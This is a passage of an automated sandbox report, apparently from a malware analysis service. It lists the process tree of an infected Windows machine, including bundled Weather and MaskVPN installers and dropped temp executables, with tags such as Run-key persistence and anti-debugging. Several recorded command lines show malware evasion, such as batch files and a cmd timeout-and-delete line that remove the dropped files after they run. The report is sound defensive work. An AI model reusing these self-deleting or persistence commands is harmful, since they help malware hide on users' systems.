                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                              PID:4656
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                              • Enumerates connected drives
                                                                                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                              PID:5052
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 6602BCD0E0642AACD45902D6F93CCA8B C
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                PID:6468
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 5DB9603ADF4D3DB941A6B28E9B3EB22B
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                PID:6516
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                PID:9064
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                                                  PID:5644
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                    PID:11268
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x1e0,0x1e4,0x1e8,0x1bc,0x1ec,0x7ff98bbb9ec0,0x7ff98bbb9ed0,0x7ff98bbb9ee0
                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                        PID:10772
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1792,9908410664153551117,15779883770934805503,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11268_393137883" --mojo-platform-channel-handle=1860 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                          PID:11816
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1792,9908410664153551117,15779883770934805503,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11268_393137883" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2432 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                          PID:11976
                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1792,9908410664153551117,15779883770934805503,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11268_393137883" --mojo-platform-channel-handle=2136 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                            PID:7348
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1792,9908410664153551117,15779883770934805503,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11268_393137883" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1808 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                              PID:11216
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1792,9908410664153551117,15779883770934805503,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11268_393137883" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3160 /prefetch:2
                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4292
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1792,9908410664153551117,15779883770934805503,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw11268_393137883" --mojo-platform-channel-handle=3388 /prefetch:8
                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:10276
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEA0CC.bat" "
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:12028
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                  PID:5284
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\timeout.exe 5
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                  PID:9348
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\timeout.exe 5
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                  PID:5828
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEA0CC.bat"
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                  PID:11812
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEA0CC.bat" "
                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:7056
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" cls"
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:9652
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEA0AC.bat" "
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1376
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                        • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                        PID:5800
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\timeout.exe 5
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                        PID:5912
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEA0AC.bat"
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                        • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                                                                                        PID:7432
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" cls"
                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:8032
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEA0AC.bat" "
                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:12088
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                      PID:7036
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                                                      PID:6396
                                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                      PID:4872
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                                        DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{106a13d7-695c-0f4b-9947-56355380365f}\oemvista.inf" "9" "4d14a44ff" "0000000000000168" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                        PID:6348
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                                                        DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000138"
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6076
                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                                                                                                        PID:5136
                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6856
                                                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                          PID:2468
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Drivers directory
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                          PID:6076
                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                          PID:7704
                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                                                                                                                                                                                                            MaskVPNUpdate.exe /silent
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                            PID:5056
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                          werfault.exe /h /shared Global\60bbdb6f9d2e49d4bc78a39bea02edff /t 11480 /p 6076
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:9304
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:11600
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                              PID:11368
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                              PID:12100
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                              PID:9248
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                              PID:8784
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5512
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                PID:9368
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                PID:7416
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                PID:5316
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                                PID:9568
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\AC35.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\AC35.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                PID:9864
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\AEA7.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\AEA7.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                                PID:10144
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                                                                                                                PID:4164
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\BFDE.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\BFDE.exe
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4624
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\BFDE.exe"
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:5452
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:10584
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                          timeout /T 10 /NOBREAK
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                          PID:11848
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\C463.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\C463.exe
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                                                                                      PID:7184
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:8592
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\CF9F.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\CF9F.exe
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:4984
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\D5AB.exe
